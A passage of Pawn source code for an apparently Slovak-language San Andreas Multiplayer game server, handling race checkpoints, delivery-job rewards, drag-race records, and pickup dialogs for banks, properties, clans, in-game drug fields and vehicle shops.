                            case 3: SetPlayerRaceCheckpoint(playerid,1,-2575.4829101563,460.52169799805,14.609375,0,0,0,5);
                            case 4: SetPlayerRaceCheckpoint(playerid,1,-2656.5383300781,-124.895362854,4.0044422149658,0,0,0,5);
                            case 5: SetPlayerRaceCheckpoint(playerid,1,-2655.3994140625,-188.83984375,4.0819988250732,0,0,0,5);
                            case 6: SetPlayerRaceCheckpoint(playerid,1,-2757.5300292969,-55.333545684814,7.0122690200806,0,0,0,5);
                            case 7: SetPlayerRaceCheckpoint(playerid,1,-1591.8341064453,1260.7489013672,7.1831111907959,0,0,0,5);
                            case 8: SetPlayerRaceCheckpoint(playerid,1,-1657.9704589844,456.72955322266,7.1796875,0,0,0,5);
                            case 9: SetPlayerRaceCheckpoint(playerid,1,-1853.2305908203,-194.38059997559,18.375,0,0,0,5);
                            case 10: SetPlayerRaceCheckpoint(playerid,1,-2152.748046875,630.28015136719,52.3671875,0,0,0,5);
                            case 11..20: SetPlayerRaceCheckpoint(playerid,1,-2688.0405273438,1408.7341308594,7.1015625,0,0,0,5);
                        }

                        return 0;
                    }
                }
            }

            ////////////////////////////////////////////////////////

            if(Player[playerid][BrigadaID] == 0)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(GetVehicleModel(GetPlayerVehicleID(playerid)) == 448)
                    {
                        new sprepitne = Player[playerid][BrigadaTime] * (120+random(20));

                        new ostr[128];
                        format(ostr, 128, "~y~Odmena: ~r~5000$~n~~y~Sprepitne ~r~%d$~n~~n~~w~Chod dorucit dalsiu zasielku !~n~~n~", sprepitne);
                        GameTextForPlayer(playerid, ostr, 5500, 5);

                        GivePlayerACMoney(playerid, (5000+sprepitne));

                        Player[playerid][Respect]+=0.185;
                        SetPlayerRespect(playerid, Player[playerid][Respect]);

                        new Float:cpx, Float:cpy, Float:cpz;
                        switch(random(25))
                        {
                            case 0:  { cpx=669.17834472656; cpy=-1763.0355224609; cpz=13.586736679077; }
                            case 1:  { cpx=1972.0899658203; cpy=-1658.6551513672; cpz=15.96875; }
                            case 2:  { cpx=1873.5612792969; cpy=-2060.5192871094; cpz=13.546875; }
                            case 3:  { cpx=2452.0588378906; cpy=-1651.0666503906; cpz=13.399759292603; }
                            case 4:  { cpx=2105.5021972656; cpy=-1228.0560302734; cpz=23.9765625; }
                            case 5:  { cpx=1297.2888183594; cpy=-1414.4985351563; cpz=13.402419090271; }
                            case 6:  { cpx=685.55444335938; cpy=-1412.8319091797; cpz=13.572021484375; }
                            case 7:  { cpx=193.00735473633; cpy=-1770.8659667969; cpz=4.2900409698486; }
                            case 8:  { cpx=2762.0651855469; cpy=-1979.6545410156; cpz=13.547723770142; }
                            case 9:  { cpx=221.95050048828; cpy=-1396.0893554688; cpz=51.593116760254; }
                            case 10: { cpx=821.84088134766; cpy=-781.38934326172; cpz=72.893081665039; }
                            case 11: { cpx=1437.8725585938; cpy=-889.80084228516; cpz=50.658069610596; }
                            case 12: { cpx=2035.9106445313; cpy=-1066.5922851563; cpz=24.759738922119; }
                            case 13: { cpx=2635.2451171875; cpy=-1098.3872070313; cpz=69.398056030273; }
                            case 14: { cpx=344.37835693359; cpy=-1191.673828125; cpz=76.535652160645; }
                            case 15: { cpx=1761.4982910156; cpy=-2120.205078125; cpz=13.554351806641; }
                            case 16: { cpx=982.99822998047; cpy=-1777.5009765625; cpz=14.25980758667; }
                            case 17: { cpx=688.22351074219; cpy=-1594.1788330078; cpz=14.110450744629; }
                            case 18: { cpx=1047.1323242188; cpy=-1294.0205078125; cpz=13.546875; }
                            case 19: { cpx=1231.9820556641; cpy=-1021.5129394531; cpz=32.6015625; }
                            case 20: { cpx=1498.2957763672; cpy=-1585.5098876953; cpz=13.546875; }
                            case 21: { cpx=1949.4433593750; cpy=-1563.0010986328; cpz=13.616527557373; }
                            case 22: { cpx=2174.6455078125; cpy=-994.95239257813; cpz=62.97486114502; }
                            case 23: { cpx=2420.3598632813; cpy=-1910.5383300781; cpz=13.546875; }
                            case 24: { cpx=2491.7370605469; cpy=-1406.3177490234; cpz=28.838520050049; }
                        }

                        DisablePlayerRaceCheckpoint(playerid);

                        SetPlayerRaceCheckpoint(playerid, 1, cpx, cpy, cpz, 0, 0, 0, 2);

                        for(new b=0; b<100; b++)
                        {
                            if((b * 100) > GetPlayerDistanceToPointEx(playerid, cpx, cpy, cpz))
                            {
                                Player[playerid][BrigadaTime] = (b * 13);
                                break;
                            }
                        }
                    }
                }
            }
            ////////////////////////////////////////////////////////////////////
            else if(Player[playerid][BrigadaID] == 1)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(Player[playerid][BrigadaInfo] != 9999)
                    {
                        if(GetVehicleModel(GetPlayerVehicleID(playerid)) == Player[playerid][BrigadaInfo])
                        {
                            if(IsPlayerInSphere(playerid,-1703.4663085938,15.466167449951,3.5546875,20))
                            {
                                new e_odmena=100000, Float:e_vhp;

                                GetVehicleHealth(GetPlayerVehicleID(playerid), e_vhp);

                                     if(e_vhp > 995) e_odmena+=50000;
                                else if(e_vhp > 950) e_odmena+=30000;
                                else if(e_vhp > 900) e_odmena+=22500;
                                else if(e_vhp > 800) e_odmena+=15000;
                                else if(e_vhp > 600) e_odmena+=10000;

                                DisablePlayerRaceCheckpoint(playerid);
                                SetVehicleToRespawn(GetPlayerVehicleID(playerid));

                                GivePlayerACMoney(playerid, e_odmena);

                                Player[playerid][BrigadaID]  =9999;
                                Player[playerid][BrigadaTime]=9999;
                                Player[playerid][BrigadaInfo]=9999;

                                new string_f047[128];
                                format(string_f047,128, "~w~Dakujem pekne,~n~~w~tu mas za odmenu~n~~y~%d$", e_odmena);

                                FormatPlayerInfoBox(playerid,"~g~Brigada",string_f047, 5000);

                                Player[playerid][Respect]+=0.75;
                                SetPlayerRespect(playerid, Player[playerid][Respect]);
                            }
                        }
                    }
                }
            }

            //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

            if(Checkpoint[playerid][Series]==3) DisablePlayerCheckpoint(playerid);

                 if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==0)  SetPlayerRaceCheckpoint(playerid,0,521.39172363281,-1263.2023925781,16.113185882568,651.61126708984,-1198.6431884766,18.059194564819,12);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==1)  SetPlayerRaceCheckpoint(playerid,0,651.61126708984,-1198.6431884766,18.059194564819,790.67895507813,-1055.9034423828,24.63747215271,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==2)  SetPlayerRaceCheckpoint(playerid,0,790.67895507813,-1055.9034423828,24.63747215271,786.49407958984,-1153.3426513672,23.617588043213,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==3)  SetPlayerRaceCheckpoint(playerid,0,786.49407958984,-1153.3426513672,23.617588043213,664.87524414063,-1251.2596435547,13.645648956299,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==4)  SetPlayerRaceCheckpoint(playerid,0,664.87524414063,-1251.2596435547,13.645648956299,673.94287109375,-1318.9270019531,13.490581512451,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==5)  SetPlayerRaceCheckpoint(playerid,0,673.94287109375,-1318.9270019531,13.490581512451,816.90411376953,-1323.7757568359,13.492813110352,12);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==6)  SetPlayerRaceCheckpoint(playerid,0,816.90411376953,-1323.7757568359,13.492813110352,960.10266113281,-1323.4378662109,13.370338439941,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==7)  SetPlayerRaceCheckpoint(playerid,0,960.10266113281,-1323.4378662109,13.370338439941,1056.6611328125,-1312.0590820313,13.3828125,12);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==8)  SetPlayerRaceCheckpoint(playerid,0,1056.6611328125,-1312.0590820313,13.3828125,1075.9255371094,-1281.6403808594,13.391841888428,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==9)  SetPlayerRaceCheckpoint(playerid,0,1075.9255371094,-1281.6403808594,13.391841888428,1171.5194091797,-1281.5582275391,13.518802642822,15);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==10) SetPlayerRaceCheckpoint(playerid,0,1171.5194091797,-1281.5582275391,13.518802642822,1278.4437255859,-1293.0555419922,13.331140518188,16);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==11) SetPlayerRaceCheckpoint(playerid,0,1278.4437255859,-1293.0555419922,13.331140518188,1287.6307373047,-1383.4174804688,13.78125,22);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==12) SetPlayerRaceCheckpoint(playerid,0,1287.6307373047,-1383.4174804688,13.78125,1386.0241699219,-1400.8579101563,13.3828125,14);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==13) SetPlayerRaceCheckpoint(playerid,0,1386.0241699219,-1400.8579101563,13.3828125,1477.3054199219,-1441.5871582031,13.3828125,11);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==14) SetPlayerRaceCheckpoint(playerid,0,1477.3054199219,-1441.5871582031,13.3828125,1711.7585449219,-1451.0560302734,13.958921432495,22);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==15) SetPlayerRaceCheckpoint(playerid,0,1711.7585449219,-1451.0560302734,13.958921432495,1700.7619628906,-1592.7476806641,13.374052047729,22);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==16) SetPlayerRaceCheckpoint(playerid,0,1700.7619628906,-1592.7476806641,13.374052047729,1690.43359375,-1615.2065429688,13.3828125,13);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==17) SetPlayerRaceCheckpoint(playerid,0,1690.43359375,-1615.2065429688,13.3828125,1699.4808349609,-1812.2236328125,13.368566513062,14);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==18) SetPlayerRaceCheckpoint(playerid,0,1699.4808349609,-1812.2236328125,13.368566513062,1838.3862304688,-1829.7579345703,13.585382461548,14);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==19) SetPlayerRaceCheckpoint(playerid,0,1838.3862304688,-1829.7579345703,13.585382461548,1938.2751464844,-1841.6492919922,3.984375,14);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==20) SetPlayerRaceCheckpoint(playerid,0,1938.2751464844,-1841.6492919922,3.984375,1975.8677978516,-1864.6783447266,5.4109001159668,10);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==21) SetPlayerRaceCheckpoint(playerid,0,1975.8677978516,-1864.6783447266,5.4109001159668,2146.0935058594,-2036.0314941406,7.984375,10);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==22) SetPlayerRaceCheckpoint(playerid,0,2146.0935058594,-2036.0314941406,7.984375,2300.0043945313,-2191.0278320313,6.0694007873535,10);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==23) SetPlayerRaceCheckpoint(playerid,0,2300.0043945313,-2191.0278320313,6.0694007873535,2378.5517578125,-2272.4792480469,6.0625,10);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==24) SetPlayerRaceCheckpoint(playerid,1,2378.5517578125,-2272.4792480469,6.0625,2378.5517578125,-2272.4792480469,6.0625,11);
            else if(Checkpoint[playerid][Series]==3 && Checkpoint[playerid][Number]==25)
            {
                if(Game[NFSSA_State]==1)
                {
                    Game[NFSSA_State]=2;
                    Game[NFSSA_StateTimer]=SetTimer("NFSSARaceEnd",8000,0);
                    GameTextForPlayer(playerid,"~w~Vyhral si zavod Need For Speed San Andreas !",3000,5);
                    new Name[24];
                    GetPlayerName(playerid,Name,24);
                    new string[128];
                    format(string,128,"Hráč %s (%d) vyhral závod Need For Speed San Andreas !",Name,playerid);
                    SendClientMessageToAll(COLOR_WHITE,string);

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[i][NFSSA_Player] != 9999)
                                {
                                    DisablePlayerRaceCheckpoint(i);
                                }
                            }
                        }
                    }
                }

                Checkpoint[playerid][Series]=0;
                Checkpoint[playerid][Number]=0;
            }
            if(Checkpoint[playerid][Series]==3) Checkpoint[playerid][Number]++;

            if(Player[playerid][MTBR_Player] != 9999)
            {
                if(Checkpoint[playerid][Series] == 10)
                {
                    DisablePlayerRaceCheckpoint(playerid);

                    if(Checkpoint[playerid][Number] == 0)  SetPlayerRaceCheckpoint(playerid, 3, 618.75457763672,-3694.7229003906,51.084793090820, 652.41204833984,-3694.5981445313,56.930992126465, 3);
                    if(Checkpoint[playerid][Number] == 1)  SetPlayerRaceCheckpoint(playerid, 3, 652.41204833984,-3694.5981445313,56.930992126465, 688.20489501953,-3694.2905273438,52.606315612793, 3);
                    if(Checkpoint[playerid][Number] == 2)  SetPlayerRaceCheckpoint(playerid, 3, 688.20489501953,-3694.2905273438,52.606315612793, 695.15545654297,-3739.3430175781,51.301750183105, 3);
                    if(Checkpoint[playerid][Number] == 3)  SetPlayerRaceCheckpoint(playerid, 3, 695.15545654297,-3739.3430175781,51.301750183105, 687.70831298828,-3757.1647949219,55.975982666016, 3);
                    if(Checkpoint[playerid][Number] == 4)  SetPlayerRaceCheckpoint(playerid, 3, 687.70831298828,-3757.1647949219,55.975982666016, 670.13342285156,-3757.1115722656,56.559940338135, 3);
                    if(Checkpoint[playerid][Number] == 5)  SetPlayerRaceCheckpoint(playerid, 3, 670.13342285156,-3757.1115722656,56.559940338135, 650.0107421875,-3764.2409667969,62.9242858886720, 3);
                    if(Checkpoint[playerid][Number] == 6)  SetPlayerRaceCheckpoint(playerid, 3, 650.0107421875,-3764.2409667969,62.9242858886720, 602.64581298828,-3781.6740722656,51.514522552490, 3);
                    if(Checkpoint[playerid][Number] == 7)  SetPlayerRaceCheckpoint(playerid, 3, 602.64581298828,-3781.6740722656,51.514522552490, 581.28552246094,-3790.7751464844,55.869953155518, 3);
                    if(Checkpoint[playerid][Number] == 8)  SetPlayerRaceCheckpoint(playerid, 3, 581.28552246094,-3790.7751464844,55.869953155518, 572.77374267578,-3767.2946777344,55.869438171387, 3);
                    if(Checkpoint[playerid][Number] == 9)  SetPlayerRaceCheckpoint(playerid, 3, 572.77374267578,-3767.2946777344,55.869438171387, 592.81262207031,-3735.8933105469,55.861228942871, 3);
                    if(Checkpoint[playerid][Number] == 10) SetPlayerRaceCheckpoint(playerid, 3, 592.81262207031,-3735.8933105469,55.861228942871, 627.72686767578,-3735.666015625,56.5755233764650, 3);
                    if(Checkpoint[playerid][Number] == 11) SetPlayerRaceCheckpoint(playerid, 3, 627.72686767578,-3735.666015625,56.5755233764650, 641.62762451172,-3755.4025878906,51.314029693604, 3);
                    if(Checkpoint[playerid][Number] == 12) SetPlayerRaceCheckpoint(playerid, 3, 641.62762451172,-3755.4025878906,51.314029693604, 655.42230224609,-3749.2302246094,51.398571014404, 3);
                    if(Checkpoint[playerid][Number] == 13) SetPlayerRaceCheckpoint(playerid, 3, 655.42230224609,-3749.2302246094,51.398571014404, 648.71966552734,-3738.0581054688,51.257209777832, 3);
                    if(Checkpoint[playerid][Number] == 14) SetPlayerRaceCheckpoint(playerid, 3, 648.71966552734,-3738.0581054688,51.257209777832, 627.80950927734,-3736.9196777344,51.000000000000, 3);
                    if(Checkpoint[playerid][Number] == 15) SetPlayerRaceCheckpoint(playerid, 3, 627.80950927734,-3736.9196777344,51.000000000000, 586.74108886719,-3736.4716796875,51.000000000000, 3);
                    if(Checkpoint[playerid][Number] == 16) SetPlayerRaceCheckpoint(playerid, 4, 586.74108886719,-3736.4716796875,51.000000000000, 586.74108886719,-3736.4716796875,51.000000000000, 3);

                    if(Checkpoint[playerid][Number] == 17) //final
                    {
                        if(Game[MTBR_State]==1)
                        {
                            Game[MTBR_State]=2;
                            Game[MTBR_StateTimer] = SetTimer("MTBRRaceEnd",8000,0);
                            GameTextForPlayer(playerid,"~w~Vyhral si zavod MTB Ride !",3000,5);
                            new Name[24];
                            GetPlayerName(playerid,Name,24);
                            new string[128];
                            format(string,128,"Hráč %s (%d) vyhral závod MTB Ride !", Name, playerid);
                            SendClientMessageToAll(COLOR_WHITE, string);
                        }

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[i][MTBR_Player] != 9999)
                                    {
                                        DisablePlayerRaceCheckpoint(i);
                                    }
                                }
                            }
                        }

                        Checkpoint[playerid][Series]=0;
                        Checkpoint[playerid][Number]=0;
                    }

                    Checkpoint[playerid][Number]++;
                }
            }

            //-----------------------------------------------------------------------------------------

            if(Checkpoint[playerid][Series]==1 && Checkpoint[playerid][Number]==0)
            {
                DisablePlayerRaceCheckpoint(playerid);
                SetPlayerRaceCheckpoint(playerid,1,1693.207,-821.979,57.226,1693.207,-821.979,57.226,13);
                Checkpoint[playerid][Series]=1;
                Checkpoint[playerid][Number]=1;
            }
            else if(Checkpoint[playerid][Series]==1 && Checkpoint[playerid][Number]==1)
            {
                DisablePlayerRaceCheckpoint(playerid);
                KillTimer(Drag[DragTimer]);

                for(new p=0; p<=Server[ConP]; p++)
                {
                    if(IsPlayerConnected(p) && Player[p][DragRacer]==1 && Checkpoint[p][Series]==1)
                    {
                        if(!IsPlayerNPC(p))
                        {
                            Player[p][DragRacer]=0;
                            DisablePlayerRaceCheckpoint(p);
                            Checkpoint[p][Series]=0;
                            Checkpoint[p][Number]=0;
                        }
                    }
                }

                new WinMsg[128], Name[24];
                GetPlayerName(playerid,Name,24);
                format(WinMsg,128,"[ DRAG ] Hráč %s vyhral %d$ v Dragu s časom %.2f sec. !",Name,Drag[Reward],Drag[RaceTime]);
                SendClientMessageToAll(COLOR_GOLD,WinMsg);
                GivePlayerACMoney(playerid,Drag[Reward]);

                if(Drag[RaceTime] < dini_Float("SL/Server/HighScore.cfg","DragTime"))
                {
                    new RecordMsg[128];
                    format(RecordMsg, 128, "Hráč %s (%d) prekonal rekord v Dragu (%s - %.2f sec.) s novým časom %.2f sec. !",Name,playerid,dini_Float("SL/Server/HighScore.cfg","Name"),dini_Float("SL/Server/HighScore.cfg","DragTime"),Drag[RaceTime]);
                    SendClientMessageToAll(COLOR_RED, RecordMsg);

                    GivePlayerACMoney(playerid,100000);

                    dini_FloatSet("SL/Server/HighScore.cfg","DragTime",Drag[RaceTime]);
                    dini_Set("SL/Server/HighScore.cfg","Name",Name);
                }

                Drag[Players]=0;
                Drag[Reward]=0;
                Drag[StartMoney]=0;
                Drag[RaceTime]=0;
                Drag[State]=0;
                Player[playerid][DragRacer]=0;
            }
        }
    }
    return 1;
}

public OnPlayerPickUpPickup(playerid, pickupid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            for(new c=0; c<3; c++)
            {
                if(pickupid == CrackPickup[c])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP]=true;
                        
                        Player[playerid][CrackID]=c;
                        
                        format(gBIGSTRING, sizeof(gBIGSTRING), "{ffff00}Crack Factory (%d#)", c);
                        
                        if(CrackStatus[c] == true)
                        {
                            format(gBIGSTRING, sizeof(gBIGSTRING), "{ff0000}Práve probieha spracovanie marihuany !\n{c5c5c5}Počkaj {ffff70}%d{c5c5c5} sekund než sa marihuana spracuje.", CrackTimeLeft[c]);
                            ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, gBIGSTRING, gBIGSTRING, "OK", "");
                        }
                        else
                        {
                            ShowPlayerDialog(playerid, Dialog_Crack_Menu, DIALOG_STYLE_MSGBOX, gBIGSTRING, "{c5c5c5}Tu môžeš spracovať marihuanu na jointy.\nChceš spracovať marihuanu čo máš u seba?", "Ano", "Nie");
                        }
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            for(new b=0; b < MAX_BANKS; b++)
            {
                if(pickupid == BankPickup[b])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP] = true;
                        format(gBIGSTRING, sizeof(gBIGSTRING), "{ff0000}Banka{ffffff} Stav konta: %d$", Player[playerid][Bank]);
                        ShowPlayerDialog(playerid,Dialog_BankGen,DIALOG_STYLE_LIST,gBIGSTRING,"Vložit\nVybrat","OK","Cancel");
                        TogglePlayerControllable(playerid, 0);
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            for(new p=0; p<MAX_PROPERTY; p++)
            {
                if(pickupid == Property[p][Pickup])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP]=true;
                        new NameX[24];

                        if(Property[p][MajitelID]==9999) NameX="-none-";
                        else GetPlayerName(Property[p][MajitelID],NameX,24);

                        format(gBIGSTRING,sizeof(gBIGSTRING),"~y~%s~n~~n~~y~Majitel: ~w~%s~n~~y~Cena: ~w~%d~n~~y~Zaraba: ~w~%d",Property[p][PropertyName],NameX,Property[p][Price],Property[p][Money]);
                        FormatPlayerInfoBox(playerid,"~g~Nemovitost",gBIGSTRING,5000);

                        format(gBIGSTRING,sizeof(gBIGSTRING),"Nehnutelnost: {ff0000}%s", Property[p][PropertyName]);
                        ShowPlayerDialog(playerid,Dialog_Property,DIALOG_STYLE_MSGBOX,gBIGSTRING,"Nehnuteľnosti ti zarábaju peniaze.\nChceš kupit tuto nehnuteľnosť?","Kupit","Cancel");

                        Player[playerid][PropertyID] = p;
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            for(new c=0; c<MAX_CLANS; c++)
            {
                if(pickupid == Clan[c][Pickup])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP]=true;

                        new cway[64];
                        format(cway,64, "SL/Server/Clans/Clan%d.cfg", c);

                        new clanid=c;

                        if(Clan[clanid][State]==1) format(gBIGSTRING,sizeof(gBIGSTRING), "~y~%s~n~~n~~w~Majitel:~n~~y~%s~n~~w~Vehicles: ~y~%d~n~~w~Weapon Slots: ~y~%d~n~~w~Bank: ~y~%d$~n~~w~Kills: ~y~%d~n~~w~Max Players: ~y~%d", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[c][Vehicles], Clan[c][WeaponSlots], Clan[c][Bank], Clan[c][Kills], Clan[c][MaxPlayers]);
                        else format(gBIGSTRING,sizeof(gBIGSTRING), "~r~Volny Clan~n~~n~~y~%s~n~~n~~w~Vehicles: ~y~%d~n~~w~Weapon Slots: ~y~%d~n~~w~Bank: ~y~%d$~n~~w~Kills: ~y~%d", dini_Get(cway, "Name"), Clan[c][Vehicles], Clan[c][WeaponSlots], Clan[c][Bank], Clan[c][Kills]);
                        FormatPlayerInfoBox(playerid,"~g~Clan", gBIGSTRING, 6000);

                        if(Clan[clanid][State]==1) format(gBIGSTRING,sizeof(gBIGSTRING), "{ffff00}Clan - %s", dini_Get(cway, "Name"));
                        else gBIGSTRING = "{ffff00}Volný Clan";

                        if(Clan[clanid][State]==0) ShowPlayerDialog(playerid, Dialog_ClanMenuF, DIALOG_STYLE_LIST, gBIGSTRING, "Vstupit do budovy\nKupit (1 000 000$)","OK","Cancel");
                        else ShowPlayerDialog(playerid, Dialog_ClanMenuS, DIALOG_STYLE_LIST, gBIGSTRING, "Vstoupiť do budovy\nZoznam členov\nVozidlá\nVložiť peniaze na účet clanu\nAdministracia clanu","OK","Cancel");

                        Player[playerid][ClanID] = c;
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            for(new m=0; m<12; m++)
            {
                if(pickupid == MarihuanaPlantP[m])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP]=true;
                        Player[playerid][SaveMarPlantID]=m;

                        new string[64];
                        format(string,64, "Marihuanové polia {ffff00}#%d", m);

                        ShowPlayerDialog(playerid, Dialog_MarihuanaPlant, DIALOG_STYLE_LIST, string, "Poliať\nPohnojiť\nObrať", "OK", "Cancel");
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            for(new p=8; p<16; p++)
            {
                if(pickupid == ShopPickup[p])
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_InventarShop,DIALOG_STYLE_LIST,"Obchod","Bagety (1 ks / 25$)\nSprunk (1ks / 50$)\nPivo (1ks / 80$)\nVíno (1ks / 300$)\nWhisky (1ks / 2250$)\nKrabička cigariet (19ks / 100$)","Vybrat","Cancel");

                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            if(pickupid == LocPickup)
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid,Dialog_Locator,DIALOG_STYLE_MSGBOX,"Super Locator","Toto je Super Locator !\nS tymto uvidíš aj horiacu cigaretu Chucka Norrisa na 100 mil !\nCena za 1 použitie: 30 000$","Start","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[0])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop0, DIALOG_STYLE_LIST, "Wang Cars", "Sultan (325 000$)\nJester (320 000$)\nElegy (330 000$)\nUranus (300 000$)\nFlash (300 000$)\nInfernus (500 000$)\nBullet (275 000$)\nPhoenix (210 000$)\nZR - 350 (250 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[1])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop1, DIALOG_STYLE_LIST, "Ottos Cars", "Hotring Racer (600 000$)\nBanshee (300 000$)\nSuper GT (300 000$)\nTurismo (310 000$)\nComet (280 000$)\nSunrise (230 000$)\nEuros (300 000$)\nCheetah (300 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[2])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop2, DIALOG_STYLE_LIST, "Los Santos Vehicles Shop", "Landstalker (160 000$)\nBuffalo (180 000$)\nSentinel (200 000$)\nWashington (130 000$)\nStallion (150 000$)\nAdmiral (105 000$)\nGlendale (80 000$)\nSabre (140 000$)\nGreenwood (135 000$)\nNebula (150 000$)\nSadler (60 000$)\nMerit (100 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[3])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop3, DIALOG_STYLE_LIST, "Aircraft Shop", "Beagle (500 000$)\nCropduster (250 000$)\nDodo (400 000$)\nNevada (1 250 000$)\nRustler (2 000 000$)\nShamal (3 500 000$)\nSkimmer (550 000$)\nStuntplane (800 000$)\nLeviathan (900 000$)\nMaverick (1 750 000$)\nSeasparrow (1 500 000$)\nSparrow (1 200 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[4])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop4, DIALOG_STYLE_LIST, "Trucks Shop", "Linerunner (525 000$)\nDumper (5 000 000$)\nPacker (500 000$)\nPatriot (300 000$)\nRancher (230 000$)\nSandking (300 000$)\nRoadtrain (700 000$)\nCement Truck (500 000$)\nMonster (800 000$)\nBandito (250 000$)\nDune (300 000$)\nHuntley (300 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[5])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop5, DIALOG_STYLE_LIST, "Los Santos Lowriders Shop", "Blade (100 000$)\nBroadway (50 000$)\nRemington (235 000$)\nSlamvan (230 000$)\nTornado (140 000$)\nVoodoo (150 000$)\nSavanna (100 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[6])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop6, DIALOG_STYLE_LIST, "San Andreas Vehicles", "Bravura (70 000$)\nPerenniel (50 000$)\nManana (90 000$)\nMoonbeam (85 000$)\nBobcat (80 000$)\nPremier (90 000$)\nSolair (60 000$)\nRegina (60 000$)\nBlista Compact (125 000$)\nMajestic (90 000$)\nFortune (100 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[7])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop7, DIALOG_STYLE_LIST, "Ships Shop", "Dinghy (50 000$)\nJetmax (300 000$)\nMarquis (600 000$)\nReefer (200 000$)\nSpeeder (280 000$)\nSquallo (300 000$)\nTropic (200 000$)\nCoastguard (85 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == CarShopPickup[8])
            {
                if(Player[playerid][IPIP]==false)
                {
